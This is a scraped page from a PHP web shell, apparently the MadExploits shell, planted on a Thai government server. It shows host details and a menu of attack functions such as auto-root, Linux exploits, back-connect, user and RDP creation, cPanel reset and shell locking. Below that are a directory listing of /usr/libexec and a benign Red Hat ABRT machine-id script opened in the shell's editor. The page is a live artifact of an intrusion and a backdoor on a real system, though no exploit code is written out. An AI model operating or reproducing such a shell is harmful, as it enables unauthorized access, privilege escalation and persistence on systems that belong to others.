Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
[ HOME SHELL ]
Name
Size
Permission
Action
awk
[ DIR ]
drwxr-xr-x
certmonger
[ DIR ]
drwxr-xr-x
emacs
[ DIR ]
drwxr-xr-x
gcc
[ DIR ]
drwxr-xr-x
getconf
[ DIR ]
drwxr-xr-x
git-core
[ DIR ]
drwxr-xr-x
gstreamer-0.10
[ DIR ]
drwxr-xr-x
ipsec
[ DIR ]
drwxr-xr-x
mc
[ DIR ]
drwxr-xr-x
microcode_ctl
[ DIR ]
drwxr-xr-x
oddjob
[ DIR ]
drwxr-xr-x
openldap
[ DIR ]
drwxr-xr-x
openscap
[ DIR ]
drwxr-xr-x
openssh
[ DIR ]
drwxr-xr-x
perf-core
[ DIR ]
drwxr-xr-x
plymouth
[ DIR ]
drwxr-xr-x
polkit-1
[ DIR ]
drwxr-xr-x
postfix
[ DIR ]
drwxr-xr-x
scripts
[ DIR ]
drwxr-xr-x
sssd
[ DIR ]
drwxr-xr-x
systemtap
[ DIR ]
drwxr-xr-x
utempter
[ DIR ]
drwxr-xr-x
webmin
[ DIR ]
drwxr-xr-x
abrt-action-generate-machine-i...
5.86
KB
-rwxr-xr-x
abrt-action-install-debuginfo-...
10.05
KB
-rwsr-xr-x
abrt-action-ureport
5.45
KB
-rwxr-xr-x
abrt-handle-event
24.01
KB
-rwxr-xr-x
abrt-hook-ccpp
41.62
KB
-rwxr-xr-x
abrt1-to-abrt2
4.02
KB
-rwxr-xr-x
copy_jdk_configs.lua
9.28
KB
-rw-r--r--
copy_jdk_configs_fixFiles.sh
5.81
KB
-rwxr-xr-x
fprintd
61.3
KB
-rwxr-xr-x
gam_server
93.82
KB
-rwxr-xr-x
gconf-defaults-mechanism
38.7
KB
-rwxr-xr-x
gconfd-2
72.83
KB
-rwxr-xr-x
gnupg-pcsc-wrapper
18.37
KB
-rwxr-xr-x
gpg-check-pattern
98.02
KB
-rwxr-xr-x
gpg-preset-passphrase
83.61
KB
-rwxr-xr-x
gpg-protect-tool
205.39
KB
-rwxr-xr-x
gpg2keys_curl
51.03
KB
-rwxr-xr-x
gpg2keys_finger
59.69
KB
-rwxr-xr-x
gpg2keys_hkp
59.48
KB
-rwxr-xr-x
gpg2keys_ldap
64.9
KB
-rwxr-xr-x
hal-storage-cleanup-all-mountp...
21.2
KB
-rwxr-xr-x
hal-storage-cleanup-mountpoint
21.61
KB
-rwxr-xr-x
hal-storage-closetray
22.38
KB
-rwxr-xr-x
hal-storage-eject
23.72
KB
-rwxr-xr-x
hal-storage-mount
35.37
KB
-rwxr-xr-x
hal-storage-unmount
22.73
KB
-rwxr-xr-x
hal-system-power-pm-is-support...
11.05
KB
-rwxr-xr-x
hal-system-power-pmu
9.71
KB
-rwxr-xr-x
hal-system-setserial
8.4
KB
-rwxr-xr-x
hald-addon-acpi
20.6
KB
-rwxr-xr-x
hald-addon-generic-backlight
21.83
KB
-rwxr-xr-x
hald-addon-hid-ups
23.57
KB
-rwxr-xr-x
hald-addon-imac-backlight
16.92
KB
-rwxr-xr-x
hald-addon-input
30.71
KB
-rwxr-xr-x
hald-addon-ipw-killswitch
22.24
KB
-rwxr-xr-x
hald-addon-leds
25.61
KB
-rwxr-xr-x
hald-addon-pmu
17.93
KB
-rwxr-xr-x
hald-addon-rfkill-killswitch
25.59
KB
-rwxr-xr-x
hald-generate-fdi-cache
25.97
KB
-rwxr-xr-x
hald-probe-hiddev
13.91
KB
-rwxr-xr-x
hald-probe-ieee1394-unit
15.98
KB
-rwxr-xr-x
hald-probe-input
13.75
KB
-rwxr-xr-x
hald-probe-net-bluetooth
16.75
KB
-rwxr-xr-x
hald-probe-pc-floppy
11.29
KB
-rwxr-xr-x
hald-probe-printer
15.95
KB
-rwxr-xr-x
hald-probe-serial
11.47
KB
-rwxr-xr-x
hald-probe-smbios
16.8
KB
-rwxr-xr-x
hald-probe-storage
46.17
KB
-rwxr-xr-x
hald-probe-video4linux
15.31
KB
-rwxr-xr-x
hald-probe-volume
45.73
KB
-rwxr-xr-x
hald-runner
22.76
KB
-rwxr-xr-x
man-cmp.sh
214
B
-rwxr-xr-x
mlx4-setup.sh
2.48
KB
-rwxr-xr-x
mysqlmanager
1.53
MB
-rwxr-xr-x
pt_chown
14.39
KB
-rws--x--x
sesh
30.27
KB
-rwxr-xr-x
sudo_noexec.so
5.8
KB
-rwxr-xr-x
sudoers.so
293.13
KB
-rwxr-xr-x
virt-what-cpuid-helper
7.48
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : abrt-action-generate-machine-id
#!/usr/bin/python ## Copyright (C) 2014 ABRT team <abrt-devel-list@redhat.com> ## Copyright (C) 2014 Red Hat, Inc. ## This program is free software; you can redistribute it and/or modify ## it under the terms of the GNU General Public License as published by ## the Free Software Foundation; either version 2 of the License, or ## (at your option) any later version. ## This program is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ## GNU General Public License for more details. ## You should have received a copy of the GNU General Public License ## along with this program; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Suite 500, Boston, MA 02110-1335 USA """This module provides algorithms for generating Machine IDs. """ import sys from argparse import ArgumentParser import logging import hashlib def generate_machine_id_dmidecode(): """Generate a machine_id based off dmidecode fields The function generates the same result as sosreport-uploader Returns a machine ID as string or throws RuntimeException """ try: import dmidecode except ImportError as ex: raise RuntimeError("Could not import dmidecode module: {0}" .format(str(ex))) dmixml = dmidecode.dmidecodeXML() # Fetch all DMI data into a libxml2.xmlDoc object dmixml.SetResultType(dmidecode.DMIXML_DOC) xmldoc = dmixml.QuerySection('all') # Do some XPath queries on the XML document dmixp = xmldoc.xpathNewContext() # What to look for - XPath expressions keys = ['/dmidecode/SystemInfo/Manufacturer', '/dmidecode/SystemInfo/ProductName', '/dmidecode/SystemInfo/SerialNumber', '/dmidecode/SystemInfo/SystemUUID'] # Create a sha256 of ^ for machine_id machine_id = hashlib.sha256() # Run xpath expressions for k in keys: data = dmixp.xpathEval(k) for d in data: # Update the hash as we find the fields we are looking for machine_id.update(d.get_content()) del dmixp del xmldoc # Create sha256 digest return machine_id.hexdigest() def generate_machine_id_systemd(): """Generate a machine_id equals to a one generated by systemd This function returns contents of /etc/machine-id Returns a machine ID as string or throws RuntimeException. """ try: with open('/etc/machine-id', 'r') as midf: return "".join((l.strip() for l in midf)) except IOError as ex: raise RuntimeError("Could not use systemd's machine-id: {0}" .format(str(ex))) GENERATORS = { 'sosreport_uploader-dmidecode' : generate_machine_id_dmidecode # ,'systemd' : generate_machine_id_systemd } def generate_machine_id(generators): """Generates all requested machine id with all required generators Keyword arguments: generators -- a list of generator names Returns a dictionary where keys are generators and associated values are products of those generators. """ ids = {} workers = GENERATORS for sd in generators: try: ids[sd] = workers[sd]() except RuntimeError as ex: logging.error("Machine-ID generator '{0}' failed: {1}" .format(sd, str(ex))) return ids def print_result(ids, outfile, prefixed): """Writes a dictionary of machine ids to a file Each dictionary entry is written on a single line. The function does not print trailing new-line if the dictionary contains only one item as it is common format of one-liners placed in a dump directory. Keyword arguments: ids -- a dictionary [generator name: machine ids] outfile -- output file prefixed -- use 'generator name=' prefix or not """ fmt = '{0}={1}' if prefixed else '{1}' if len(ids) > 1: fmt += '\n' for sd, mid in ids.iteritems(): outfile.write(fmt.format(sd,mid)) def print_generators(outfile=None): """Prints requested generators Keyword arguments: outfile -- output file (default: sys.stdout) """ if outfile is None: outfile = sys.stdout for sd in GENERATORS.iterkeys(): outfile.write("{0}\n".format(sd)) if __name__ == '__main__': CMDARGS = ArgumentParser(description = "Generate a machine_id") CMDARGS.add_argument('-o', '--output', type=str, help="Output file") CMDARGS.add_argument('-g', '--generators', nargs='+', type=str, help="Use given generators only") CMDARGS.add_argument('-l', '--list-generators', action='store_true', default=False, help="Print out a list of usable generators") CMDARGS.add_argument('-n', '--noprefix', action='store_true', default=False, help="Do not use generator name as prefix for IDs") OPTIONS = CMDARGS.parse_args() ARGS = vars(OPTIONS) logging.basicConfig(format='%(message)s') if ARGS['list_generators']: print_generators() sys.exit(0) requested_generators = None if ARGS['generators']: requested_generators = ARGS['generators'] else: requested_generators = GENERATORS.keys() machineids = generate_machine_id(requested_generators) if ARGS['output']: try: with open(ARGS['output'], 'w') as fout: print_result(machineids, fout, not ARGS['noprefix']) except IOError as ex: logging.error("Could not open output file: {0}".format(str(ex))) sys.exit(1) else: print_result(machineids, sys.stdout, not ARGS['noprefix']) # print_results() omits new-line for one-liners if len(machineids) == 1: sys.stdout.write('\n') sys.exit(len(requested_generators) - len(machineids.keys()))
Close